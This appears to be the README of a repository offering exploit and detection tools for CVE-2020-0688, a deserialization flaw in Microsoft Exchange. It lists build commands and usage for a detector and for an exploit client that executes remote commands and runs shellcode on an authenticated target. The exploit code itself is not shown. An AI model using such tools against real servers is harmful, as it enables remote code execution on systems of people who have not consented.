Exploit and detect tools for CVE-2020-0688(Microsoft Exchange default MachineKeySection deserialize vulnerability)

build

csc ExchangeCmd.cs
csc ExchangeDetect.cs

usage

ExchangeDetect <target> <user> <pass>

ExchangeCmd <target> <user> <pass>
sub commands:
	exec <cmd> [args]
	  exec command
		
	arch
	  get remote process architecture(for shellcode)
		
	shellcode <shellcode.bin>
	  run shellcode
		
	exit
	  exit program

for more information, read writeup.pdf(in chinese).